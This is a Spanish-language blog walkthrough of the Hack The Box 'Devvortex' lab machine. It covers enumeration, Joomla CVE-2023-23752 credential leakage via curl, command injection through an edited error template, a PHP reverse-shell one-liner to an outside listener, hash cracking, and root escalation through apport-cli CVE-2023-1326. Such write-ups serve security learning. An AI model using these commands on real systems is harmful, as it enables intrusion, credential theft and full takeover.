Publicado el

HTB Devvortex. CTF EASY.

Introducción

Como comentaba unos días atrás, los próximos días subiré algunas de las máquinas que he conseguido la bandera en el CTF recientemente.

Hoy vamos a por la máquina Devvortex. Una máquina de Hack The Box (HTB) de nivel fácil.

¡Vamos a realizar enumeración de directorios web, enumeración de DNS, explotar la vulnerabilidad CVE-2023-23752 de un Joomla!, y finalmente la vulnerabilidad de CVE-2023-1326 de apport-cli

Enumeración

nmap -Pn --open -p- 10.10.11.242
nmap -Pn --open -p- 10.10.11.242
Blog Devvortex resultado nmap HTB

En esta exploración descubrimos el dominio devvortex.htb. Lo añadimos a /etc/hosts y vamos a explorar la web

Exploración

blog 10 htb hacking devvortex Selection 003 png

Encontramos una web simple, sin CMS ni nada. Aquí lanzamos un gobuster para enumerar directorios y archivos interesantes.... pero no encontramos nada interesante.

gobuster dir -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://devvortex.htb
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /css                  (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
    /images               (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
    /index.html           (Status: 200) [Size: 18048]
    /js                   (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]
    Progress: 4723 / 4724 (99.98%)
    ===============================================================
    Finished
    ===============================================================

Vale, aquí parece que no hay nada interesante. Justo en este punto fue donde perdí más tiempo, buscando donde no tocaba. Hasta que termine buscando en el fórum de HTB 😅

Lo que no se me paso por la cabeza, es buscar subdominios... así que vamos a por ello.

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc 302,404 -H "Host: FUZZ.devvortex.htb" devvortex.htb
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************

    Target: http://devvortex.htb/
    Total requests: 4989

    =====================================================================
    ID           Response   Lines    Word       Chars       Payload                                                                                                                     
    =====================================================================

    000000019:   200        501 L    1581 W     23221 Ch "dev"

    Total time: 49.50947
    Processed Requests: 4989
    Filtered Requests: 4988
    Requests/sec.: 100.7685

Lo tenemos, añadimos el dominio dev.devvortex.htb a /etc/hosts y buscamos en la nueva web.

echo "dev.devvortex.htb" | sudo tee -a /etc/hosts

Buscando un poco encontramos el archivo robots.txt que este nos revela que estamos delante de un Joomla.

blog 10 htb hacking devvortex Selection 004 png

Mirando en http://dev.devvortex.htb/administrator/manifests/files/joomla.xml podemos encontrar que este sitio utiliza la versión 4.2.6

Buscando en San Google encontramos que esta versión es vulnerable CVE-2023-23752 y citando directamente encontramos que:

"As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext."

Vamos a probar:

curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq
    [...]
     {
      "type": "application",
      "id": "224",
      "attributes": {
        "user": "lewis",
        "id": 224
      }                                                        
    },                                                       
    {                                
      "type": "application",                                    
      "id": "224",                                   
      "attributes": {     
        "password": "P4ntherg0t1n5r3c0n##",
        "id": 224                                                  
      }                                                        
    },

Fácil y para toda la familia. ¡Ya tenemos user+password de la base de datos y de "casualidad" para entrar en el Joomla! como admins. Es lo que tiene reciclar passwords, supongo.

Explotación

En hacerlo vemos que tenemos permisos de Administrador... lo cual podemos manipular las templates del mismo. Editamos la plantilla de error para inyectar comandos vía url.

blog 10 htb hacking devvortex Selection 006 png

En modificar la template de error, solo tenemos de visitar cualquier url del site que no exista + añadir parámetro 'cmd' en la URL. Por ejemplo así:

blog 10 htb hacking devvortex Selection 007 png

Vamos a levantar una shell remota y buscaremos en el MySQL de esta máquina (ya que tenemos sus credenciales)

php -r '$sock=fsockopen("10.10.14.6",4444);exec("bash <&3 >&3 2>&3");'
blog 10 htb hacking devvortex Selection 009 png

Nos conectamos al MySQL, y buscamos la tabla de usuarios en la database joomla

blog 10 htb hacking devvortex Selection 010 png

Nos guardamos el hash de "logan paul" en un archivo de nombre "hash" y ejecutamos nuestro amigo John para obtener su password.

blog 10 htb hacking devvortex Selection 012 png

Si miramos a '/etc/passwd' veremos que existe un usuario 'logan'.... probamos conexión vía SSH....y....pum... ya tenemos la primera flag

blog 10 htb hacking devvortex Selection 013 png

Elevación de privilegios

Mirando permisos de sudo, podemos ver esto:

sudo -l
    [...]
    User logan may run the following commands on devvortex:
      (ALL : ALL) /usr/bin/apport-cli

apport-cli es una herramienta de línea de comandos en Ubuntu que se utiliza para reportar y diagnosticar fallos y errores del sistema. Sirve para recopilar información detallada sobre fallos de aplicaciones o del sistema, lo que ayuda en la identificación y resolución de problemas. Permite a los usuarios enviar reportes de errores a los desarrolladores de Ubuntu de manera eficiente.

Buscando un poco por San Google encontramos la vulnerabilidad "CVE-2023-1326".

Esta vulnerabilidad permite a un atacante local (utilizando sudo) escalar privilegios executando un bash dentro del less que se utiliza como paginador.

Vamos a ejecutar el comando sudo /usr/bin/apport-cli -f y las siguientes opciones:

blog 10 htb hacking devvortex Selection 016 png

Y dentro del viewer (less) ejecutamos el !/bin/bash

blog 10 htb hacking devvortex Selection 014 png

Welcome root!

blog 10 htb hacking devvortex Selection 015 png